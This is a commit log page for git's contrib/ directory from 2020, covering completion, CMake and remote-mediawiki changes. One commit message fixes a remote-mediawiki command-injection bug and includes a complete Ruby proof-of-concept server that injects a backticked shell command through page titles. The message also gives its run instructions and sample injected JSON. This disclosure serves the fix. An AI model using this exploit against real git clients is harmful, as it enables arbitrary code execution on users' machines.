summaryrefslogtreecommitdiff
path: root/contrib
AgeCommit message (Collapse)AuthorFilesLines
2020-10-27Merge branch 'dl/checkout-guess'Libravatar Junio C Hamano1-9/+16
"git checkout" learned to use checkout.guess configuration variable and enable/disable its "--[no-]guess" option accordingly. * dl/checkout-guess: checkout: learn to respect checkout.guess Documentation/config/checkout: replace sq with backticks
2020-10-08checkout: learn to respect checkout.guessLibravatar Denton Liu1-9/+16
The current behavior of git checkout/switch is that --guess is currently enabled by default. However, some users may not wish for this to happen automatically. Instead of forcing users to specify --no-guess manually each time, teach these commands the checkout.guess configuration variable that gives users the option to set a default behavior. Teach the completion script to recognize the new config variable and disable DWIM logic if it is set to false. Signed-off-by: Denton Liu <liu.denton@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-07git-completion.bash: stash-show: complete $__git_diff_common_optionsLibravatar Robert Karszniewicz1-1/+4
Signed-off-by: Robert Karszniewicz <avoidr@posteo.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-07git-completion.bash: __git_diff_common_options: add --[no-]patchLibravatar Robert Karszniewicz1-3/+2
At the same time also deduplicate those options from command completions which use $__git_diff_common_options. Signed-off-by: Robert Karszniewicz <avoidr@posteo.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-10-05Merge branch 'js/cmake-vs'Libravatar Junio C Hamano1-12/+40
Using the CMake support we added some time ago for real with Visual Studio build revealed there were lot of usability improvements possible, which have been carried out. * js/cmake-vs: hashmap_for_each_entry(): workaround MSVC's runtime check failure #3 cmake (Windows): recommend using Visual Studio's built-in CMake support cmake (Windows): initialize vcpkg/build dependencies automatically cmake (Windows): complain when encountering an unknown compiler cmake (Windows): let the `.dll` files be found when running the tests cmake: quote the path accurately when editing `test-lib.sh` cmake: fall back to using `vcpkg`'s `msgfmt.exe` on Windows cmake: ensure that the `vcpkg` packages are found on Windows cmake: do find Git for Windows' shell interpreter cmake: ignore files generated by CMake as run in Visual Studio
2020-10-04Merge branch 'au/complete-restore-s'Libravatar Junio C Hamano1-34/+39
The command line completion (in contrib/) learned that "git restore -s <TAB>" is often followed by a refname. * au/complete-restore-s: completion: complete refs after 'git restore -s' completion: use "prev" variable instead of introducing "prevword"
2020-10-04Merge branch 'ab/mediawiki-fixes'Libravatar Junio C Hamano13-401/+169
Modernization and fixes to MediaWiki remote backend. * ab/mediawiki-fixes: remote-mediawiki: use "sh" to eliminate unquoted commands remote-mediawiki: annotate unquoted uses of run_git() remote-mediawiki: convert to quoted run_git() invocation remote-mediawiki: provide a list form of run_git() remote-mediawiki tests: annotate failing tests remote-mediawiki: fix duplicate revisions being imported remote-mediawiki tests: use CLI installer remote-mediawiki tests: use inline PerlIO for readability remote-mediawiki tests: replace deprecated Perl construct remote-mediawiki tests: use a more idiomatic dispatch table remote-mediawiki tests: use "$dir/" instead of "$dir." remote-mediawiki tests: change `[]` to `test` remote-mediawiki tests: use test_cmp in tests remote-mediawiki tests: use a 10 character password remote-mediawiki tests: use the login/password variables remote-mediawiki doc: don't hardcode Debian PHP versions remote-mediawiki doc: link to MediaWiki's current version remote-mediawiki doc: correct link to GitHub project
2020-09-30cmake (Windows): recommend using Visual Studio's built-in CMake supportLibravatar Johannes Schindelin1-9/+17
It is a lot more convenient to use than having to specify the configuration in CMake manually (does not matter whether using the command-line or CMake's GUI). While at it, recommend using `contrib/buildsystems/out/` as build directory also in the part that talks about running CMake manually. Helped-by: Junio C Hamano <gitster@pobox.com> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake (Windows): initialize vcpkg/build dependencies automaticallyLibravatar Johannes Schindelin1-0/+4
The idea of having CMake support in Git's source tree is to enable contributors on Windows to start contributing with little effort. To that end, we just added some sensible defaults that will let users open the worktree in Visual Studio and start building. This expects the dependencies (such as zlib) to be available already, though. If they are not available, we expect the user to run `compat/vcbuild/vcpkg_install.bat`. Rather than requiring this step to be manual, detect the situation and run it as part of the CMake configuration step. Note that this obviously only applies to the scenario when we want to compile in Visual Studio (i.e. with MS Visual C), not with GCC. Therefore, we guard this new code block behind the `MSVC` conditional. This concludes our journey to make it as effortless as possible to start developing Git in Visual Studio: all the developer needs to do is to clone Git's repository, open the worktree via `File>Open>Folder...` and wait for CMake to finish configuring. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake (Windows): complain when encountering an unknown compilerLibravatar Johannes Schindelin1-0/+2
We have some custom handling regarding the link options, which are specific to each compiler. Therefore: let's not just continue without setting the link options if configuring for a currently unhandled compiler, but error out. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake (Windows): let the `.dll` files be found when running the testsLibravatar Johannes Schindelin1-0/+3
Contrary to Unix-ish platforms, the dependencies' shared libraries are not usually found in one central place. In our case, since we use `vcpkg`, they are to be found inside the `compat/vcbuild/vcpkg/` tree. Let's make sure that they are in the search path when running the tests. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake: quote the path accurately when editing `test-lib.sh`Libravatar Johannes Schindelin1-1/+1
By default, the build directory will be called something like `contrib/buildsystems/out/build/x64-Debug (default)` (note the space and the parentheses). We need to make sure that such a path is quoted properly when editing the assignment of the `GIT_BUILD_DIR` variable. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-30cmake: fall back to using `vcpkg`'s `msgfmt.exe` on WindowsLibravatar Johannes Schindelin1-1/+5
We are already relying on `vcpkg` to manage our dependencies, including `libiconv`. Let's also use the `msgfmt.exe` from there. Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-28cmake: ensure that the `vcpkg` packages are found on WindowsLibravatar Johannes Schindelin1-0/+7
On Windows, we use the `vcpkg` project to manage the dependencies, via `compat/vcbuild/`. Let's make sure that these dependencies are found by default. This is needed because we are about to recommend loading the Git worktree as a folder into Visual Studio, relying on the automatic CMake support (which would make it relatively cumbersome to adjust the search path used by CMake manually). Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-28cmake: do find Git for Windows' shell interpreterLibravatar Johannes Schindelin1-1/+1
By default, Git for Windows does not install its `sh.exe` into the `PATH`. However, our current `CMakeLists.txt` expects to find a shell interpreter in the `PATH`. So let's fall back to looking in the default location where Git for Windows _does_ install a relatively convenient `sh.exe`: `C:\Program Files\Git\bin\sh.exe` Helped-by: Øystein Walle <oystwa@gmail.com> Signed-off-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-26completion: complete refs after 'git restore -s'Libravatar Ákos Uzonyi1-0/+7
Currently only the long version (--source=) supports completion. Add completion support to the short (-s) option too. Signed-off-by: Ákos Uzonyi <uzonyi.akos@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-26completion: use "prev" variable instead of introducing "prevword"Libravatar Ákos Uzonyi1-34/+32
In both _git_checkout and _git_switch a new "prevword" variable were introduced, however the "prev" variable already contains the last word. The "prevword" variable is replaced with "prev", and the case is moved to the beginning of the function, like it's done in many other places (e.g. _git_commit). Also the indentaion of the case is fixed. Signed-off-by: Ákos Uzonyi <uzonyi.akos@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-25Merge branch 'jk/diff-highlight-blank-match-fix'Libravatar Junio C Hamano1-1/+1
"diff-highlight" (in contrib/) had a logic to flush its output upon seeing a blank line but the way it detected a blank line was broken. * jk/diff-highlight-blank-match-fix: diff-highlight: correctly match blank lines for flush
2020-09-21diff-highlight: correctly match blank lines for flushLibravatar Jeff King1-1/+1
We try to flush the output from diff-highlight whenever we see a blank line. That lets you see the output for each commit as soon as it is generated, even if Git is still chugging away at a diff, or traversing to find the next commit. However, our "blank line" match checks length($_). That won't ever be true, because we haven't chomped the line ending. As a result, we never flush. Instead, let's use a simple regex which handles line endings in with the end-of-line marker. This has been broken since the initial version in 927a13fe87 (contrib: add diff highlight script, 2011-10-18). Probably nobody noticed because: - most output is big enough, or comes fast enough, that it flushes anyway. And it can be difficult to notice the difference between "show a commit, then pause" and "pause, then show two commits". I only noticed because I was viewing "git log" output on a repo with a very slow textconv filter. - if stdout is going to the terminal (and not another pager like less), then the flush isn't necessary. So any manual testing would show it appearing to work. You can easily see the difference with something like: echo '* diff=slow' >>.gitattributes git -c diff.slow.textconv='sleep 1; cat' \ -c pager.log='diff-highlight | less' \ log -p That should generate one commit every second or so (more if it touches multiple files), but without this patch it waits for many seconds before generating several pages of output. Signed-off-by: Jeff King <peff@peff.net> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: use "sh" to eliminate unquoted commandsLibravatar Ævar Arnfjörð Bjarmason1-16/+8
Remove the use of run_git_unquoted() completely with a use of "sh -c" suggested by Jeff King, i.e.: sh -c '"$@" 2>/dev/null' -- echo sneaky 'argument;id' I don't think this is needed now for any potential RCE issue. The $remotename argument is ultimately picked by the local user (and similarly, the $local variable comes from a user-supplied refspec). But completely eliminating the use of unquoted shell arguments has a value in and of itself, by making the code easier to review. As noted in an earlier commit I think the use of IPC::Open3 would be too verbose here, but this "sh -c" trick strikes the right balance between readability and semantic sanity. Suggested-by: Jeff King <peff@peff.net> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: annotate unquoted uses of run_git()Libravatar Ævar Arnfjörð Bjarmason1-6/+13
Explicitly annotate the invocations of run_git() which don't use quoted arguments. I'm not converting these to run_git_quoted() because these invocations pipe stderr to /dev/null, which the Perl open() API doesn't support. We could do a quoted version of this with IPC::Open3, but I don't think it's worth it to go through that here. Let's instead just mark these sites, and comment on why it's OK to use the variables we're using. This eliminates the last uses of run_git(), so we can remove the alias for it introduced in an earlier commit. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: convert to quoted run_git() invocationLibravatar Ævar Arnfjörð Bjarmason1-23/+26
Change those callsites that are able to call run_safe() with a quoted list of arguments to do so. This fixes a RCE bug in this transport helper reported by Joern Schneeweisz to the git-security mailing list. The issue is being made public due to the relative obscurity of the remote-mediawiki code. The security issue is that we'd execute a command like this via Perl's "open -|", where the $name is taken directly from the api.php response. So that a JSON response of e.g.: [...]"title":"`id>/tmp/mw`:Main Page"[..] Would result in an invocation of: git config --add remote.origin.namespaceCache "`id>/tmp/mw`:notANameSpace" >From code such as this, which is being changed by this patch: run_git(qq(config --add remote.${remotename}.namespaceCache "${name}:${store_id}")); So we'd execute an arbitrary command, and also put "remote.origin.namespaceCache=:notANameSpace" in the config. With this change we quote all of this, so now we'll simply write "remote.origin.namespaceCache=`id>/tmp/x`:notANameSpace" into the config, and not execute any remote commands. About the implementation: as noted in [1] (see also [2]) this style of invoking open() has compatibility issues on Windows up to Perl 5.22. However, Johannes Schindelin notes that we shouldn't worry about Windows in this context because (quoting a private E-Mail of his): 1. The mediawiki helper has never been shipped as part of an official Git for Windows version. Neither has it ever been part of an official MSYS2 package. Which means that Windows users who want to use the mediawiki helper have to build Git themselves, which not many users seem to do. 2. The last Git for Windows version to ship with Perl v5.22.x was Git for Windows v2.11.1; Since Git for Windows v2.12.0 (released on February 25th, 2017), only newer Perl versions were included. So let's just use this open() API. Grepping around shows that various other Perl code we ship such as gitweb etc. uses this way of calling open(), so we shouldn't have any issues with compatibility. For further reference and future testing, here's working exploit code provided by Joern: #!/usr/bin/ruby # git client side RCE via `mediawiki` remote proof of concept # Joern Schneeweisz - GitLab Security Research Team require 'sinatra' set bind: '0.0.0.0' if not ARGV[0] puts "Please provide the shell command to be execucted." exit -1 end cmd = ARGV[0] all_pages = sprintf('{"limits":{"allpages":500},"query":{"allpages":[{"pageid":1,"ns":3,"title":"`%s`:Main Page"}]}}', cmd) revs = sprintf('{"query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0,"user":"MediaWiki default","timestamp":"2020-09-04T20:25:08Z","contentformat":"text/x-wiki","contentmodel":"wikitext","comment":"","*":"<al:MyLanguage/Help:Contents]"}]}}}}', cmd) mainpage= sprintf('{"batchcomplete":"","query":{"pages":{"1":{"pageid":1,"ns":3,"title":"`%s`:Main Page","revisions":[{"revid":1,"parentid":0}]}}}}',cmd) post '/api.php' do if params[:list] == 'allpages' return all_pages end if params[:prop] == 'revisions' return revs end return mainpage end Which: [...] should be run like: `ruby wiki.rb 'id>/tmp/mw'`. Now when being cloned with `git clone mediawiki::http://localhost:4567` the file `/tmp/mw` will be created during the clone process, containing the output of `id`. 1. https://perldoc.perl.org/functions/open.html#Opening-a-filehandle-into-a-command 2. https://perldoc.perl.org/perlipc.html#Safe-Pipe-Opens Reported-by: Joern Schneeweisz <jschneeweisz@gitlab.com> Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: provide a list form of run_git()Libravatar Ævar Arnfjörð Bjarmason1-4/+15
Invoking commands as "git $args" doesn't quote $args. Let's support ["git", $args] as well, and create corresponding run_git_quoted() and run_git_unquoted() aliases for subsequent changes when we move the code over to the new style of invoking this function. At that point we'll delete the then-unused run_git() wrapper. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: annotate failing testsLibravatar Ævar Arnfjörð Bjarmason1-2/+3
These tests consistently fail for me, and were failing before any of the changes in this series. As noted in [1] there are some known intermittent test failures. Let's mark these as failing so we can have an otherwise passing test suite. We need to add an extra test_path_is_file() here because since d572f52a64 ("test_cmp: diagnose incorrect arguments", 2020-08-09) test_cmp has errored out with a BUG if one of the test arguments doesn't exist, without that the test would still fail even without test_expect_failure(). 1. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/56 Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki: fix duplicate revisions being importedLibravatar Simon Legner1-0/+3
Fix a bug with revisions being imported twice. This commit is being backported from Git-Mediawiki.git's e41ee9b ("All revisions imported twice", 2018-02-02) to git.git. See [1] for the original commit and [2] and [3] for the upstream PR and issue. 1. https://github.com/Git-Mediawiki/Git-Mediawiki/commit/e41ee9b3a32416df381cdc79f63350665c84151e 2. https://github.com/Git-Mediawiki/Git-Mediawiki/pull/61 3. https://github.com/Git-Mediawiki/Git-Mediawiki/issues/29 Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use CLI installerLibravatar Ævar Arnfjörð Bjarmason6-334/+79
Replace the use of screen-scraping in the test environment installation with simply invoking MediaWiki's command-line installer. The old code being deleted here relied on our own hardcoded POST parameter names & the precise layout of MediaWiki's GUI installer at a given version. Somewhere between [1] and now this inevitably broke. As far as I can tell there was never a reason for this screen-scraping hack, when [1] was introduced it hardcoded MediaWiki 1.19.0, the CLI installer was introduced in 1.17.0. Perhaps the authors weren't aware of it, or this code was written for an older version. This allows us to simply delete our own template version of LocalSettings.php, it'll instead be provided by the CLI installer. While we're at it let's fix a few things, these changes weren't practical to split up (I'd need to fix code I was about to mostly delete) * Use MediaWiki's own defaults where possible, e.g. before we'd name the database "wikidb.sqlite", now we'll simply use whatever name MediaWiki prefers (currently my_wiki.sqlite) by only supplying the directory name the SQLite file will be dropped into, not the full path. * Put all of our database & download assets into a new "mediawiki/" folder. This makes it easier to reason about as the current & template "backup" database the tests keep swapping around live next to each other. This'll also prevent future potential breakage as there isn't a single SQLite database. MediaWiki also creates a job queue database and a couple of cache databases. In practice it seems we got away with not resetting these when we reset the main database, but it's the sort of thing that could break in the future (reset, main store doesn't have the article, but the cache does). * The "delete" function now only deletes the MediaWiki installation & database, not the downloaded .tar.gz file. This makes us friendlier to a developer on a slow connection. 1. 5ef6ad1785 ("git-remote-mediawiki: scripts to install, delete and clear a MediaWiki", 2012-07-06) Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use inline PerlIO for readabilityLibravatar Ævar Arnfjörð Bjarmason1-4/+3
Replace the use of the "open" pragma with a three-arg open in the places that actually care about UTF-8, while leaving those that don't (the config parsing). Unlike the previous "encoding" pragma change this isn't needed for compatibility with anything. I just think it's easier to read code that has localized effects than code that changes global settings. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: replace deprecated Perl constructLibravatar Ævar Arnfjörð Bjarmason1-2/+1
The use of the encoding pragma has been a hard error since Perl 5.18 (released in 2013). What this script really wanted to do was to decode @ARGV and write out some files with the UTF-8 PerlIO layer. Let's just do that explicitly instead. This explicitly does not retain the previous UTF-8 semantics of the script. The "encoding" pragma had all sorts of global effects (program text being UTF-8, stdin/stdout etc.). But the only thing that was required was decoding @ARGV and writing out UTF-8 data, which is currently facilitated with the "open" pragma. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use a more idiomatic dispatch tableLibravatar Ævar Arnfjörð Bjarmason1-7/+7
Change the dispatch table code in test-gitmw.pl to use a hash where subroutine references are the values. This is more obvious than a hash where the values are strings we'll use to go searching around in the symbol table for the function. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use "$dir/" instead of "$dir."Libravatar Ævar Arnfjörð Bjarmason1-3/+3
Change UI messages to use "$dir/" instead of "$dir.". I think this is less confusing when referring to an absolute directory path. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: change `[]` to `test`Libravatar Ævar Arnfjörð Bjarmason1-6/+11
Convert `[]` to `test` and break if-then into separate lines, both of which bring the style in line with Git's coding guidelines. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use test_cmp in testsLibravatar Ævar Arnfjörð Bjarmason1-4/+4
Change code that used an ad-hoc "diff -b" invocation to use our test_cmp helper instead. I'm also changing the order of arguments to be the standard "test_cmp <expected> <actual>". Using test_cmp has different semantics since the "-b" option to diff causes it to ignore whitespace, but in these cases the use of "-b" was just meaningless boilerplate. The desired semantics here are to compare "git log" lines with know-good data, so we don't want to ignore whitespace. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use a 10 character passwordLibravatar Ævar Arnfjörð Bjarmason1-1/+1
In more recent versions of MediaWiki this is a requirement, e.g. the current stable version of 1.32.2. The web installer now refuses our old 9 character password, the command-line one (will be used in a subsequent change) will accept it, but trying to use it in the web UI will emit an error asking the user to reset the password. Let's use a password that'll just work and allow us to log in as the admin user. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki tests: use the login/password variablesLibravatar Ævar Arnfjörð Bjarmason1-2/+2
Change a hardcoded user/password for the corresponding variable defined in contrib/mw-to-git/t/test.config. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-21remote-mediawiki doc: don't hardcode Debian PHP versionsLibravatar Ævar Arnfjörð Bjarmason1-5/+5
Change the hardcoded version 5 PHP versions to the version-agnostic packages. Currently Debian stable's version is 7.3, and there's a php7.3, php7.3-cli etc. package available (but no php5-*). The corresponding version-less package is a dependency package which depends on whatever the current stable version is. By not hardcoding the version these instructions won't be out of date when the next Debian/Ubuntu release happens. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-17contrib/completion: complete options that take refs for format-patchLibravatar Denton Liu1-0/+4
The completion for format-patch currently suggests --base=, --interdiff= and --range-diff= as options. However, with these `=` forms of the options, there is no space and we'd enter the `--*` case which means we don't call the __git_complete_revlist() at the end. Teach _git_format_patch() to complete refs in the case of --base=, --interdiff= and --range-diff=. Signed-off-by: Denton Liu <liu.denton@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16remote-mediawiki doc: link to MediaWiki's current versionLibravatar Ævar Arnfjörð Bjarmason1-0/+3
Amend a comment in the test.config file to point to the latest upstream version, which makes it easier for the user to tweak this. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-16remote-mediawiki doc: correct link to GitHub projectLibravatar Ævar Arnfjörð Bjarmason3-3/+3
Change the link to the canonical one, the old link redirects to the new one. Signed-off-by: Ævar Arnfjörð Bjarmason <avarab@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-09Merge branch 'os/vcbuild'Libravatar Junio C Hamano2-1/+2
Fix build procedure for MSVC. * os/vcbuild: contrib/buildsystems: fix expat library name for generated vcxproj vcbuild: fix batch file name in README vcbuild: fix library name for expat with make MSVC=1
2020-09-08contrib/buildsystems: fix expat library name for generated vcxprojLibravatar Orgad Shaneh2-1/+2
expat.lib -> libexpat.lib (libexpatd.lib for debug build). Signed-off-by: Orgad Shaneh <orgads@gmail.com> Acked-by: Johannes Schindelin <johannes.schindelin@gmx.de> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-09-03Merge branch 'jk/slimmed-down'Libravatar Junio C Hamano6-312/+6
Trim an unused binary and turn a bunch of commands into built-in. * jk/slimmed-down: drop vcs-svn experiment make git-fast-import a builtin make git-bugreport a builtin make credential helpers builtins Makefile: drop builtins from MSVC pdb list
2020-08-27Merge branch 'rz/complete-more-options'Libravatar Junio C Hamano1-1/+13
Command line completion (in contrib/) usually omits redundant, deprecated and/or dangerous options from its output; it learned to optionally include all of them. * rz/complete-more-options: completion: add GIT_COMPLETION_SHOW_ALL env var parse-options: add --git-completion-helper-all
2020-08-24Merge branch 'dl/subtree-docs'Libravatar Junio C Hamano1-3/+3
Doc updates for subtree (in contrib/) * dl/subtree-docs: contrib/subtree: document 'push' does not take '--squash' contrib/subtree: fix "unsure" for --message in the document
2020-08-19completion: add GIT_COMPLETION_SHOW_ALL env varLibravatar Ryan Zoeller1-1/+13
When set to 1, GIT_COMPLETION_SHOW_ALL causes --git-completion-helper-all to be passed instead of --git-completion-helper. Signed-off-by: Ryan Zoeller <rtzoeller@rtzoeller.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-18contrib/subtree: document 'push' does not take '--squash'Libravatar Danny Lin1-2/+2
git subtree push does not support --squash, as previously illustrated in 6ccc71a9 (contrib/subtree: there's no push --squash, 2015-05-07) Signed-off-by: Danny Lin <danny0838@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-18contrib/subtree: fix "unsure" for --message in the documentLibravatar Danny Lin1-1/+1
Revise the documentation and remove previous "unsure" after making sure that --message supports only 'add', 'merge', 'pull', and 'split --rejoin'. Signed-off-by: Danny Lin <danny0838@gmail.com> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-17Merge branch 'pd/mergetool-nvimdiff'Libravatar Junio C Hamano1-2/+2
The existing backends for "git mergetool" based on variants of vim have been refactored and then support for "nvim" has been added. * pd/mergetool-nvimdiff: mergetools: add support for nvimdiff (neovim) family mergetool--lib: improve support for vimdiff-style tool variants
2020-08-13drop vcs-svn experimentLibravatar Jeff King6-287/+5
The code in vcs-svn was started in 2010 as an attempt to build a remote-helper for interacting with svn repositories (as opposed to git-svn). However, we never got as far as shipping a mature remote helper, and the last substantive commit was e99d012a6bc in 2012. We do have a git-remote-testsvn, and it is even installed as part of "make install". But given the name, it seems unlikely to be used by anybody (you'd have to explicitly "git clone testsvn::$url", and there have been zero mentions of that on the mailing list since 2013, and even that includes the phrase "you might need to hack a bit to get it working properly"[1]). We also ship contrib/svn-fe, which builds on the vcs-svn work. However, it does not seem to build out of the box for me, as the link step misses some required libraries for using libgit.a. Curiously, the original build breakage bisects for me to eff80a9fd9 (Allow custom "comment char", 2013-01-16), which seems unrelated. There was an attempt to fix it in da011cb0e7 (contrib/svn-fe: fix Makefile, 2014-08-28), but on my system that only switches the error message. So it seems like the result is not really usable by anybody in practice. It would be wonderful if somebody wanted to pick up the topic again, and potentially it's worth carrying around for that reason. But the flip side is that people doing tree-wide operations have to deal with this code. And you can see the list with (replace "HEAD" with this commit as appropriate): { echo "--" git diff-tree --diff-filter=D -r --name-only HEAD^ HEAD } | git log --no-merges --oneline e99d012a6bc.. --stdin which shows 58 times somebody had to deal with the code, generally due to a compile or test failure, or a tree-wide style fix or API change. Let's drop it and let anybody who wants to pick it up do so by resurrecting it from the git history. As a bonus, this also reduces the size of a stripped installation of Git from 21MB to 19MB. [1] https://lore.kernel.org/git/CALkWK0mPHzKfzFKKpZkfAus3YVC9NFYDbFnt+5JQYVKipk3bQQ@mail.gmail.com/ Signed-off-by: Jeff King <peff@peff.net> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-13make git-fast-import a builtinLibravatar Jeff King1-4/+1
There's no reason that git-fast-import benefits from being a separate binary. And as it links against libgit.a, it has a non-trivial disk footprint. Let's make it a builtin, which reduces the size of a stripped installation from 22MB to 21MB. Signed-off-by: Jeff King <peff@peff.net> Signed-off-by: Junio C Hamano <gitster@pobox.com>
2020-08-13make git-bugreport a builtinLibravatar Jeff King1-4/+1
There's no reason that bugreport has to be a separate binary. And since it links against libgit.a, it has a rather large disk footprint. Let's make it a builtin, which reduces the size of a stripped installation from 24MB to 22MB. This also simplifies our Makefile a bit. And we can take advantage of builtin niceties like RUN_SETUP_GENTLY. Signed-off-by: Jeff King <peff@peff.net> Signed-off-by: Junio C Hamano <gitster@pobox.com>